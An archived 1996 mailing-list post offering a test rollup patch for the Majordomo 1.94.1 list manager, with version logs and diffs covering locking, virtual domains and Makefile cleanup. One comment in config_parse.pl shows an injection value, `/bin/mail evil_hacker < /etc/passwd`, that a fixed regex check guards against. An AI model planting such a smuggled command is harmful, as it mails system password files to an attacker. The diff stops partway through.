Great Circle Associates Majordomo-Workers
(November 1996)
 

Indexed By Date: [Previous] [Next] Indexed By Thread: [Previous] [Next]

Subject: test this 1.94.1 rollup patch
From: Chan Wilson <cwilson @ slurp . neu . sgi . com>
Date: Fri, 22 Nov 1996 18:41:30 +0100
To: majordomo-workers @ greatcircle . com
Cc: cwilson @ slurp . neu . sgi . com

At the end of this message you'll find a patch that fixes a number of
reported bugs against Majordomo 1.94.   This patch cleans up a bit of
the code, tweaks the locking interface a bit more, further perl5
cleanups, and makes virtual domains work better.

Apply this patch in the directory where you un-tar-ed the majordomo
1.94 distribution:  Save this message to a file, then type
	patch < message_filename

Dave Wolfe, Dave Barr, Jason L Tibbitts, Scott Bertilson, Walt Haas,
and others contributed to this patch -- thanks all!

PLEASE NOTE!!!  This is a test patch!   Treat it as you would any
other unreleased software -- try it on a few lists before inflicting
it upon all your lists.  Keep a backup of the majordomo directory so
you can back out if need be!

Please try this patch out, and report any problems back to the
majordomo-workers list.  Thanks!



Here's the version logs between 1.94 and 1.94.1 for those that like to
pore through things.

Doc/list-owner-info     1.8:1.9
        revision 1.9
        date: 1996/11/11 17:49:13;  author: cwilson;  state: Exp;  lines: +7 -7
        clarification of writeconfig
                Message-Id: <199610281931.OAA09812@augusta.math.psu.edu>
        ----------------------------
Makefile        1.50:1.53
        revision 1.53
        date: 1996/11/22 16:33:29;  author: cwilson;  state: Exp;  lines: +36 -80
        makefile patch from Dave Barr, mostly cleanup and clarifying the instructions.
                From: Dave Barr <barr@math.psu.edu>
                Message-Id: <199611201645.LAA26652@augusta.math.psu.edu>
        ----------------------------
        revision 1.52
        date: 1996/11/19 10:27:25;  author: cwilson;  state: Exp;  lines: +5 -5
        o  chmod 751 $W_HOME
        ----------------------------
        revision 1.51
        date: 1996/11/11 17:44:57;  author: cwilson;  state: Exp;  lines: +5 -4
        SHELL can be anything.
        ----------------------------
config_parse.pl 1.55:1.58
        revision 1.58
        date: 1996/11/22 16:33:54;  author: cwilson;  state: Exp;  lines: +3 -3
        expanded the writeconfig line to more than 80 chars.
        ----------------------------
        revision 1.57
        date: 1996/11/18 15:01:41;  author: cwilson;  state: Exp;  lines: +20 -17
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        config_parse.pl
        @@ -262,7 +262,7 @@
            $listname isn't defined when this text is processed.

        @@ -380,7 +380,6 @@
        @@ -389,6 +388,7 @@
            The terminating ); was misplaced, causing config file comments for a
            couple of keys to not be set.

        @@ -511,8 +511,11 @@
        @@ -523,6 +526,7 @@
            umask wasn't getting set when writeconfig created a new list config
            file.

        @@ -576,8 +580,8 @@
            Warnings cleanup.

        @@ -662,7 +666,6 @@
            Spacing in list config file (also restored blank line ~518).

        @@ -671,7 +674,7 @@
            Precedence problem fixed.

        @@ -760,7 +763,8 @@
            List config locking interface and error check.

        @@ -770,14 +774,13 @@
            Typo for abort message consistency.
            Regex cleanup.

        @@ -856,7 +859,7 @@
            List config locking interface.

        @@ -1065,7 +1068,7 @@
        @@ -1115,7 +1118,7 @@
        @@ -1156,7 +1159,7 @@
        @@ -1204,7 +1207,7 @@
            Warnings cleanup.
        ----------------------------
        revision 1.56
        date: 1996/11/11 17:23:53;  author: cwilson;  state: Exp;  lines: +3 -3
        require $cf, not majordomo.cf.
        ----------------------------
contrib/digest  1.13:1.16
        revision 1.16
        date: 1996/11/18 15:41:38;  author: cwilson;  state: Exp;  lines: +10 -6
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        contrib/digest
        @@ -21,12 +21,15 @@
            Use $TMPDIR from config file.
            List config locking interface.
        ----------------------------
        revision 1.15
        date: 1996/11/18 15:38:42;  author: cwilson;  state: Exp;  lines: +8 -39
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        contrib/digest
        @@ -21,12 +21,15 @@
            Use $TMPDIR from config file.
            List config locking interface.

        @@ -225,7 +228,7 @@
        @@ -280,7 +283,7 @@
        @@ -301,13 +304,11 @@
            Use $TMPDIR from config file.

        @@ -353,7 +354,7 @@
            Escape '@'.

        @@ -431,38 +432,9 @@
            List config locking interface.
        ----------------------------
        revision 1.14
        date: 1996/10/29 13:08:12;  author: cwilson;  state: Exp;  lines: +18 -5
        defines mailers in the init routine.
        ----------------------------
contrib/digest.num      1.1:1.2
        revision 1.2
        date: 1996/11/18 15:38:25;  author: cwilson;  state: Exp;  lines: +2 -2
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        contrib/digest.num
        @@ -38,8 +38,8 @@
            List config locking interface.
        ----------------------------
majordomo       1.66:1.71
        revision 1.71
        date: 1996/11/19 10:18:24;  author: cwilson;  state: Exp;  lines: +7 -7
        o  more virtual domain bits
                From: Scott Bertilson <ssb@abby.skypoint.net>
                Message-Id: <199611182317.RAA15384@abby.skypoint.net>
        ----------------------------
        revision 1.70
        date: 1996/11/18 15:07:28;  author: cwilson;  state: Exp;  lines: +11 -6
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        @@ -658,6 +664,7 @@
        @@ -692,8 +699,11 @@
            Report count of subscribers for who command.

        @@ -1020,7 +1030,8 @@
        @@ -1032,7 +1043,7 @@
            List config locking interface.

        @@ -1074,7 +1085,7 @@
        @@ -1491,7 +1502,7 @@
            Typo.
        ----------------------------
        revision 1.69
        date: 1996/11/11 17:57:08;  author: cwilson;  state: Exp;  lines: +9 -3
        robots shouldn't reply to each other.... yet?
                Message-Id: <199610292357.KAA06823@frodo.dn.itg.telecom.com.au>
        ----------------------------
        revision 1.68
        date: 1996/11/11 17:36:14;  author: cwilson;  state: Exp;  lines: +5 -5
        small typo.
        ----------------------------
        revision 1.67
        date: 1996/11/11 17:24:14;  author: cwilson;  state: Exp;  lines: +4 -7
        don't need to set hostname, since it's defined in majordomo.cf.
        ----------------------------
majordomo.pl    1.39:1.46
        revision 1.46
        date: 1996/11/19 10:22:09;  author: cwilson;  state: Exp;  lines: +4 -4
        o  more unqualified file handles.
        ----------------------------
        revision 1.45
        date: 1996/11/18 17:30:29;  author: cwilson;  state: Exp;  lines: +5 -5
        o  fixes the package munging
        o  hostile address tweak from
                Walt Haas <haas@xmission.com>
                Message-Id: <199611140305.UAA03211@xmission.com>
        ----------------------------
        revision 1.44
        date: 1996/11/18 15:46:36;  author: cwilson;  state: Exp;  lines: +7 -7
         Filehandle REPLY was referenced without qualification in subroutine
           main'abort, making it undefined; qualified references with main'.
        ----------------------------
        revision 1.43
        date: 1996/11/18 15:10:04;  author: cwilson;  state: Exp;  lines: +5 -5
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        majordomo.pl
        @@ -97,7 +97,7 @@
        @@ -112,7 +112,7 @@
            Warnings cleanup.
        ----------------------------
        revision 1.42
        date: 1996/11/11 17:41:00;  author: cwilson;  state: Exp;  lines: +5 -5
        really, x400 stuff will work now.
        ----------------------------
        revision 1.41
        date: 1996/11/11 17:24:39;  author: cwilson;  state: Exp;  lines: +5 -5
        eliminate the hardcoding of from and owner, since those are set in majordomo.cf.
        ----------------------------
        revision 1.40
        date: 1996/10/29 13:05:33;  author: cwilson;  state: Exp;  lines: +13 -8
        slight clarification to warning output.
        ----------------------------
medit   1.5:1.6
        revision 1.6
        date: 1996/11/18 15:10:31;  author: cwilson;  state: Exp;  lines: +6 -8
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        medit
        @@ -43,17 +43,15 @@
            List config locking interface.
        ----------------------------
request-answer  1.12:1.13
        revision 1.13
        date: 1996/11/11 17:33:39;  author: cwilson;  state: Exp;  lines: +4 -4
        eliminate the hardcoding of stuff so that virtual domains work.
        ----------------------------
resend  1.71:1.74
        revision 1.74
        date: 1996/11/18 15:25:14;  author: cwilson;  state: Exp;  lines: +18 -17
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        resend
        @@ -72,7 +72,7 @@
            Command line args fixed.

        @@ -375,7 +375,7 @@
        @@ -445,7 +445,7 @@
        @@ -615,9 +615,10 @@
            Regex cleanup.

        @@ -625,12 +626,12 @@
        @@ -642,7 +643,7 @@
        @@ -668,7 +669,7 @@
            Put spaces between taboo header regexes reported in the bounce
            subject.

        @@ -694,9 +695,10 @@
            Drop Reply-To header if adding our own.

        @@ -846,7 +848,7 @@
            Warnings cleanup.
        ----------------------------
        revision 1.73
        date: 1996/11/11 17:40:05;  author: cwilson;  state: Exp;  lines: +5 -5
        eliminate two reply-to fields.
                Message-ID: ufan2xd3tsn.fsf@sina.hpc.uh.edu
        ----------------------------
        revision 1.72
        date: 1996/11/11 17:25:21;  author: cwilson;  state: Exp;  lines: +6 -3
        replace the To line so that virtual domains work.
        ----------------------------
sample.cf       1.22:1.25
        revision 1.25
        date: 1996/11/22 16:35:58;  author: cwilson;  state: Exp;  lines: +24 -1
        o   Added the load average tweak from Brent, modified by Jason, and
            further tweaked by Chan.
        o   Added back in the umask call.
        ----------------------------
        revision 1.24
        date: 1996/11/19 10:46:19;  author: cwilson;  state: Exp;  lines: +10 -5
        o  add -oee to sendmail options
        o  also changed the 'foo.nowhere.com' to 'this.domain.wont.resolve',
           since nowhere.com is now a registered domain <sigh>
        ----------------------------
        revision 1.23
        date: 1996/11/18 15:26:40;  author: cwilson;  state: Exp;  lines: +8 -7
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        sample.cf
        @@ -29,7 +29,7 @@
            Fixed quoting.

        @@ -152,13 +152,14 @@
            Fixed quoting.
            Locking interface.
        ----------------------------
shlock.pl       1.7:1.10
        revision 1.10
        date: 1996/11/19 10:22:22;  author: cwilson;  state: Exp;  lines: +4 -4
        o  more unqualified file handles.
        ----------------------------
        revision 1.9
        date: 1996/11/18 15:33:57;  author: cwilson;  state: Exp;  lines: +37 -28
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        shlock.pl
        @@ -14,12 +14,11 @@
        @@ -54,6 +53,26 @@
        @@ -64,7 +83,6 @@
            Locking interface.

        @@ -227,7 +236,7 @@
            Warnings cleanup.

        @@ -277,7 +286,7 @@
            Wrong variable in message.
        ----------------------------
        revision 1.8
        date: 1996/10/29 13:07:53;  author: cwilson;  state: Exp;  lines: +3 -3
        calls abort instead of bitch, since any shlock errors are likely
        fatal.
        ----------------------------
wrapper.c       1.6:1.7
        revision 1.7
        date: 1996/11/18 15:34:21;  author: cwilson;  state: Exp;  lines: +4 -4
        jumbo patch from Dave Wolfe
                From: Dave Wolfe <dwolfe@risc.sps.mot.com>
                Message-Id: <199611152051.OAA19534@miaow.risc.sps.mot.com>

        wrapper.c
        @@ -39,7 +39,7 @@
            Use /bin/sh instead of /bin/csh. (Should also be done in Makefile.)
        ----------------------------
diff -u ./.cvsignore ../majordomo-1.94.1/.cvsignore
--- ./.cvsignore	Sat May  7 20:08:42 1994
+++ ../majordomo-1.94.1/.cvsignore	Mon Nov 11 18:44:13 1996
@@ -1,2 +1,3 @@
 wrapper
 .cvsignore
+Attic
diff -u ./Changelog ../majordomo-1.94.1/Changelog
--- ./Changelog	Fri May 24 00:02:49 1996
+++ ../majordomo-1.94.1/Changelog	Fri May 24 00:02:49 1996
@@ -1578,5 +1578,5 @@
 then only members of the list can access the list with "who" and "which"
 commands. 
 
-/sources/cvsrepos/majordomo/Changelog,v 1.20 1996/05/23 22:02:49 cwilson Exp
+$Header: /sources/cvsrepos/majordomo/Changelog,v 1.20 1996/05/23 22:02:49 cwilson Exp $
 
Common subdirectories: ./Doc and ../majordomo-1.94.1/Doc
diff -u ./Makefile ../majordomo-1.94.1/Makefile
--- ./Makefile	Sun Oct 20 15:23:18 1996
+++ ../majordomo-1.94.1/Makefile	Fri Nov 22 17:33:29 1996
@@ -1,9 +1,9 @@
-#$Modified: Sun Oct 20 15:22:53 1996 by cwilson $
+#$Modified: Fri Nov 22 17:04:11 1996 by cwilson $
 #
-# /sources/cvsrepos/majordomo/Makefile,v
-# 1.50
-# 1996/10/20 13:23:18
-# /sources/cvsrepos/majordomo/Makefile,v 1.50 1996/10/20 13:23:18 cwilson Exp
+# $Source: /sources/cvsrepos/majordomo/Makefile,v $
+# $Revision: 1.53 $
+# $Date: 1996/11/22 16:33:29 $
+# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.53 1996/11/22 16:33:29 cwilson Exp $
 # 
 
 #  This is the Makefile for Majordomo.  
@@ -10,80 +10,36 @@
 # 
 #-------------  Configure these items ----------------# 
 #
-# Where is Perl located?
-
-PERL = 		/bin/perl5
-
-# 
-# If your default 'chown' doesn't support the USER.GROUP syntax,
-# specify one that does here.
-
-CHOWN = 	chown
-
-#  
-# The location of Majordomo.  Wrapper looks here for programs to run.
-
-W_HOME	=	/usr/test/majordomo-$(VERSION)
-
-# 
-# Where do you want the manual pages installed?  By default, this is 
-# $(W_HOME)/man/man[18]
-#
-W_MAN = $(W_HOME)/man
+ 
+# Put the location of your Perl binary here:
+PERL = /usr/local/bin/perl
+ 
+# Where do you want Majordomo to be installed?  This CANNOT be the
+# current directory (where you unpacked the distribution)
+W_HOME = /usr/local/lib/majordomo-$(VERSION)
+ 
+# Where do you want man pages to be installed?
 MAN1 = $(W_HOME)/man/man1
 MAN8 = $(W_HOME)/man/man8
-
-# What permissions does wrapper need?   
-# (6755 = -rwsr-s-r-x, 4755 = -rwsr-xr-x)
-# *** This gets reset below if this is a POSIX system ***
-
-W_CHMOD =	6755
-
-# This is the environment that (along with LOGNAME and USER inherited from the
-# parent process, and without the leading "W_" in the variable names) gets
-# passed to processes run by "wrapper"
-
-W_PATH = 	/bin:/usr/bin:/usr/ucb
-W_BIN =		$(W_HOME)
-W_SHELL =	/bin/csh
-W_MAJORDOMO_CF =	$(W_BIN)/majordomo.cf
-
-# Which user and group will majordomo be running under?  
-# Everything under $W_HOME needs to be writable by this user and/or group.
-
-# majordomo on my system
-#
-W_USER =	443
-#
-# daemon on my system
-#
-W_GROUP =       1
-#
-# You might need to change : to .
-#
-W_CHOWN =	$(W_USER):$(W_GROUP)
-
-# If installing wrapper 'shared', define what the suffix of wrapper is.
-# (I'd like to hear if anybody is using MJ this way)
-
-# ARCHCMD=`arch`
-# ARCHCMD=`uname -m`
-
-#------------- POSIX SECTION -----------------------------
-
-# If you're running on a POSIX complient system:
-# 	Sun Solaris, 
-#	SGI Irix 5 and 6, 
-#	Dec Ultrix MIPS, 
-#	BSDI,
-#	Linux
-# make sure the following are uncommented.  
-# (Sun SunOS, SGI Irix 4, and HP DomainOS are NOT POSIX!!)
-#
-WRAPPER_CHOWN = 	root
-WRAPPER_CHMOD =	4755
-
+ 
+# You need to have or create a user and group which majordomo will run as.
+# Enter the UID and GID (not their names!) here:
+W_USER = 123
+W_GROUP = 45
+ 
+# If your system is POSIX (e.g. Sun Solaris, SGI Irix 5 and 6, Dec Ultrix MIPS,
+#  BSDI or other 4.4-based BSD, Linux)  use the following three lines.  Do not
+#  change these values!
+WRAPPER_CHOWN = root
+WRAPPER_CHMOD = 4755
 POSIX = -DPOSIX_UID=$(W_USER) -DPOSIX_GID=$(W_GROUP)
+# Otherwise, if your system is NOT POSIX (e.g. SunOS 4.x, SGI Irix 4,
+#  HP DomainOS) then comment out the above three lines and uncomment
+# the following three lines.  You shouldn't need to change these, unless
+# your chown(1) uses ":" instead of "." between user and group.
+# WRAPPER_CHOWN = $(W_USER).$(W_GROUP)
+# WRAPPER_CHMOD = 6755
+# POSIX = 
 
 # Define this if the majordomo programs should *also* be run in the same
 # group as your MTA, usually sendmail.  This is rarely needed, but some
@@ -95,7 +51,8 @@
 
 #--------YOU SHOULDN'T HAVE TO CHANGE ANYTHING BELOW THIS LINE.-------------
 
-VERSION =	1.94
+W_BIN=$(W_HOME)
+VERSION =	1.94.1
 
 WRAPPER_FLAGS = -DBIN=\"$(W_BIN)\" -DPATH=\"PATH=$(W_PATH)\" \
 	-DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \
@@ -164,7 +121,7 @@
 
 
 install-scripts: config-scripts
-	@test -d $(W_HOME) || (mkdir $(W_HOME); chmod 750 $(W_HOME))
+	@test -d $(W_HOME) || (mkdir $(W_HOME); chmod 751 $(W_HOME))
 	@-$(CHOWN) $(W_CHOWN) $(W_HOME) || \
 		( echo ""; \
 		  echo "Hmmm, if $(W_HOME) doesn't have an owner and group of"; \
@@ -239,11 +196,11 @@
 
 install-man:
 	@echo "Copying manual pages to $(MAN1) and $(MAN8)"
-	@test -w $(W_MAN) || (mkdir $(W_MAN); \
+	@test -w $(W_MAN) || (mkdir -p $(W_MAN); \
 		$(CHOWN) $(W_CHOWN) $(W_MAN) )
-	@test -w $(MAN1) || (mkdir $(MAN1); \
+	@test -w $(MAN1) || (mkdir -p $(MAN1); \
 		$(CHOWN) $(W_CHOWN) $(MAN1) )
-	@test -w $(MAN8) || (mkdir $(MAN8); \
+	@test -w $(MAN8) || (mkdir -p $(MAN8); \
 		$(CHOWN) $(W_CHOWN) $(MAN8) )
 	@cp Doc/man/approve.1 $(MAN1)
 	@cp Doc/man/digest.1 $(MAN1)
diff -u ./approve ../majordomo-1.94.1/approve
--- ./approve	Sun Jul 21 22:06:17 1996
+++ ../majordomo-1.94.1/approve	Sun Jul 21 22:06:17 1996
@@ -55,13 +55,13 @@
 # Brent@GreatCircle.COM                           1057 West Dana Street
 # +1 415 962 0841                                 Mountain View, CA  94041
 
-# /sources/cvsrepos/majordomo/approve,v
-# 1.12
-# 1996/07/21 20:06:17
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/approve,v $
+# $Revision: 1.12 $
+# $Date: 1996/07/21 20:06:17 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 
 $MAILER = '/usr/lib/sendmail';
 
diff -u ./bounce ../majordomo-1.94.1/bounce
--- ./bounce	Tue Sep 17 19:38:02 1996
+++ ../majordomo-1.94.1/bounce	Tue Sep 17 19:38:02 1996
@@ -32,13 +32,13 @@
 # Brent@GreatCircle.COM                           1057 West Dana Street
 # +1 415 962 0841                                 Mountain View, CA  94041
 
-# /sources/cvsrepos/majordomo/bounce,v
-# 1.9
-# 1996/09/17 17:38:02
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/bounce,v $
+# $Revision: 1.9 $
+# $Date: 1996/09/17 17:38:02 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 #
 
 $MAILER = "/usr/lib/sendmail";
diff -u ./bounce-remind ../majordomo-1.94.1/bounce-remind
--- ./bounce-remind	Tue Sep 17 19:38:55 1996
+++ ../majordomo-1.94.1/bounce-remind	Tue Sep 17 19:38:55 1996
@@ -6,13 +6,13 @@
 # Brent@GreatCircle.COM                           1057 West Dana Street
 # +1 415 962 0841                                 Mountain View, CA  94041
 
-# /sources/cvsrepos/majordomo/bounce-remind,v
-# 1.8
-# 1996/09/17 17:38:55
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/bounce-remind,v $
+# $Revision: 1.8 $
+# $Date: 1996/09/17 17:38:55 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 #
 
 $main'program_name = 'mj_bounce-remind';
diff -u ./config-test ../majordomo-1.94.1/config-test
--- ./config-test	Sun Oct 20 15:18:49 1996
+++ ../majordomo-1.94.1/config-test	Sun Oct 20 15:18:49 1996
@@ -1,5 +1,5 @@
 #!/bin/perl
-# config-test,v 1.9 1996/10/20 13:18:49 cwilson Exp
+# $Id: config-test,v 1.9 1996/10/20 13:18:49 cwilson Exp $
 # configuration test for majordomo
 # provided with majordomo, modifications by darren stalder <torin@daft.com>
 # more mods by Vince Skahan <vince@atc.boeing.com>
diff -u ./config_parse.pl ../majordomo-1.94.1/config_parse.pl
--- ./config_parse.pl	Mon Sep 23 02:51:08 1996
+++ ../majordomo-1.94.1/config_parse.pl	Fri Nov 22 17:33:54 1996
@@ -5,13 +5,13 @@
 # writes into the global variable %main'config_opts
 #
 
-# /sources/cvsrepos/majordomo/config_parse.pl,v 1.55 1996/09/23 00:51:08 cwilson Exp
-# $Modified: Mon Sep 23 02:29:41 1996 by cwilson $
+# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.58 1996/11/22 16:33:54 cwilson Exp $
+# $Modified: Fri Nov 22 17:01:19 1996 by cwilson $
 
 # this array holds the interesting info for use by all tools
 %main'config_opts=();
 
-require 'majordomo.pl';
+require $cf;
 require 'shlock.pl';
 # this line may not be needed in normal operation If it is, then we must
 # make sure that $cf is majordomo.pl, or its overriding -C file for
@@ -262,7 +262,7 @@
 must be approved by the moderator.",
 
 'moderator',
-"Send bounces to moderator instead of owner-$listname",
+"Send bounces to moderator instead of owner-<listname>",
 
 'approve_passwd',
 "Password to be used in the approved header
@@ -380,7 +380,6 @@
 'digest_rm_fronter',
 'Works just like digest_rm_footer, except it removes the front material.
 Just like digest_rm_footer, it is also non-operative.',
-);
 
 'digest_maxlines',
 "automatically generate a new digest when the size of the digest exceeds
@@ -389,6 +388,7 @@
 'digest_maxdays',
 "automatically generate a new digest when the age of the oldest article in
 the queue exceeds this number of days.",
+);
 
 # match commands to their subsystem, by default only 4 subsystems
 # exist, majordomo, resend, digest and config.
@@ -511,18 +511,22 @@
     local($listdir,$list) = @_;
     local($key,$intro,$type,$value,$default,$subsystem,$comment) = ();
     local($op) = '=';
+    local($oldumask) = umask($config_umask);
+
     
     format OUT =
+
 	@<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $key,           $intro
 	^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~
      $comment
-@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
+@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
 $key,		 $op, $value
 .
     
     &main'open_temp(OUT, "$listdir/$list.config.out") 
       || &main'abort("Can't create new config file $listdir/$list.config.out");
+    umask($oldumask);
 
 $installing_defaults = 1;
 
@@ -576,8 +580,8 @@
 	$lval =~ s/\001\001/\001-\001/g;	# embedded blank line
 	
 	# if there is space, protect it with a -
-	$lval =~ s/^(\s)/-\1/g;		# the first line
-	$lval =~ s/\001(\s)/\001-\1/g;	# embedded lines
+	$lval =~ s/^(\s)/-$1/g;		# the first line
+	$lval =~ s/\001(\s)/\001-$1/g;	# embedded lines
 	
 	# now that all of the escapes are processed, get it ready
 	# to be printed.
@@ -662,7 +666,6 @@
 # type of value is given in [], the subsystem the keyword is used in is
 # listed in <>'s. (undef) as default value means that the keyword is not
 # defined or used.
-
 EOS
 
 open(IN, "< $listdir/$list.config.out") ||
@@ -671,7 +674,7 @@
 while (<IN>) {
     s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the
     # beginning preserving indentation.
-    print MCONFIG ||
+    print(MCONFIG) ||
 	&main'abort("Couldn't write new config for $list, $!");
 }
 
@@ -760,7 +763,8 @@
   &handle_flag_files($listdir, $list); # this looks for files of 
                                        # the form listname.function
 
-  &main'shlock("$listdir/$list.config.LOCK");
+  &main'set_lock("$listdir/$list.config.LOCK") ||
+    &main'abort( "Can't get lock for $listdir/$list.config");
 
   print("making default\n") 
     if ($debug > 1) && (! -e "$listdir/$list.config");
@@ -770,14 +774,13 @@
 
   print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1;
   &main'lopen(CONFIG, "", "$listdir/$list.config")
-			 || &main'abort( "can't open $listdir/$list.config");
+			 || &main'abort( "Can't open $listdir/$list.config");
 
   while ($_ = <CONFIG>) {
 
-    next if /^\s*\#/;      # remove comment lines
+    next if /^\s*(#|$)/;   # remove comment and blank lines
     chop $_;               # remove the trailing \n
-    next if /^\s*$/;       # remove blank (whitespace only) lines
-    s/^([^#]*)\#.*$/$1/;   # remove comments at the end of lines
+    s/#.*//;               # remove comments at the end of lines
 
     $here_doc = 0;
 
@@ -856,7 +859,7 @@
 
 &main'lclose(CONFIG);
 
-unlink("$listdir/$list.config.LOCK");
+&main'free_lock("$listdir/$list.config.LOCK");
 
 print STDERR @errors if $debug > 1;
 
@@ -1065,7 +1068,7 @@
 	    # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy:
 	    # END
 	    #
-	    elsif (($re !~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) &&
+	    elsif (($re =~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) &&
 		   $re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$: ){
  		push(@re_errors,
  		    "|$re| not a valid pattern match expression at line $.\n");
@@ -1115,7 +1118,7 @@
 
                 # a single - on a line means a blank character/line
                 $str = '' if ( $str eq '-' );
-                $str =~ s/^-(\s+)/\1/; # a - saves space
+                $str =~ s/^-(\s+)/$1/; # a - saves space
                 $str =~ s/^--/-/; # a -- means -
 
                 push(@return_s, $str),
@@ -1156,7 +1159,7 @@
 	$baselist =~ s/.new$//; # chomp a .new extention to load
 				# a replacement file
 
-	&main'abort( "Improper number of args to get_def"), caller() if !defined $list;
+	&main'abort( "Improper number of args to get_def") unless defined $list;
 
 	# discover what mode we are working in
 	  # are we generating a digest list
@@ -1204,7 +1207,7 @@
 
 # get the boolean value. Return true if not the number 0 or null.
 sub main'cf_ck_bool { #given the name of the list and item, look it up
-  local($list, $key, $undefined) = @_;
+  local($list, $key) = @_;
 
   return (1) if (($main'config_opts{$list,$key} != 0) &&
 		    $main'config_opts{$list,$key} ne '');
Common subdirectories: ./contrib and ../majordomo-1.94.1/contrib
Common subdirectories: ./include and ../majordomo-1.94.1/include
diff -u ./majordomo ../majordomo-1.94.1/majordomo
--- ./majordomo	Tue Oct  8 21:00:13 1996
+++ ../majordomo-1.94.1/majordomo	Tue Nov 19 11:18:24 1996
@@ -1,5 +1,5 @@
 #!/bin/perl
-# $Modified: Tue Oct  8 20:30:45 1996 by cwilson $
+# $Modified: Tue Nov 19 11:16:56 1996 by cwilson $
 
 # majordomo: a person who speaks, makes arrangements, or takes charge
 #	for another.
@@ -7,13 +7,13 @@
 # Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for
 #   usage rights.
 #
-# /sources/cvsrepos/majordomo/majordomo,v
-# 1.66
-# 1996/10/08 19:00:13
-# cwilson
-# Exp
+# $Source: /sources/cvsrepos/majordomo/majordomo,v $
+# $Revision: 1.71 $
+# $Date: 1996/11/19 10:18:24 $
+# $Author: cwilson $
+# $State: Exp $
 #
-# 
+# $Locker:  $
 
 # set our path explicitly
 # PATH it is set in the wrapper, so there is no need to set it here.
@@ -104,9 +104,6 @@
     }
 }
 
-# set our hostname (for use in log messages).
-$hostname = &chop_nl(`hostname`);
-
 print STDERR "$0:  done with defaults, parsing mail header.\n" if $DEBUG;
 
 # Parse the mail header of the message, so we can figure out who to reply to
@@ -119,7 +116,7 @@
 print STDERR "$0:  setting log file.\n" if $DEBUG;
 
 # Set up the log file
-&set_log($log, $hostname, "majordomo", $reply_to);
+&set_log($log, $whereami, "majordomo", $reply_to);
 
 # if somebody has set $reply_to to be our own input address, there's a problem.
 if (&addr_match($reply_to, $whoami)) {
@@ -132,6 +129,12 @@
     exit 2;
 }
 
+# robots should not reply to other robots...
+if ($reply_to =~ m/(mailer-daemon|uucp|listserv|majordomo)\@/i) {
+      print STDERR "$whoami: not replying to $1 to avoid mail loop.\n";
+      exit 0;
+}
+
 if ($return_subject && defined $hdrs{'subject'}) {
 	$sub_addin = ": " . substr($hdrs{'subject'}, 0, 40);
  } else {
@@ -386,7 +389,7 @@
 	if (! &is_list_member($subscriber, $listdir, $clean_list)) {
 	    print REPLY <<"EOM";
 **** unsubscribe: '$subscriber' is not a member of list '$list'.
-**** contact "$list-approval@$whereami" if you need help.
+**** contact "$list-approval\@$whereami" if you need help.
 EOM
 	    return 0;
 	}
@@ -450,7 +453,7 @@
 		  print REPLY "Succeeded.\n";
 		}
 		&log("unsubscribe $clean_list $subscriber");
-		&sendmail(BYE, "$clean_list-approval",
+		&sendmail(BYE, "$clean_list-approval\@$whereami",
 			  "UNSUBSCRIBE $clean_list");
 		print BYE "$subscriber has unsubscribed from $clean_list.\n";
 		print BYE "No action is required on your part.\n";
@@ -658,6 +661,7 @@
     local($sm) = "who";
     local($list) = shift;
     local($clean_list);
+    local($counter) = 0;	                        # count the whos in whoville.
     if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list)))
 	&& defined($deflist)) {
         unshift(@_,$list) ; 				# Not a list name, put it back.
@@ -692,8 +696,11 @@
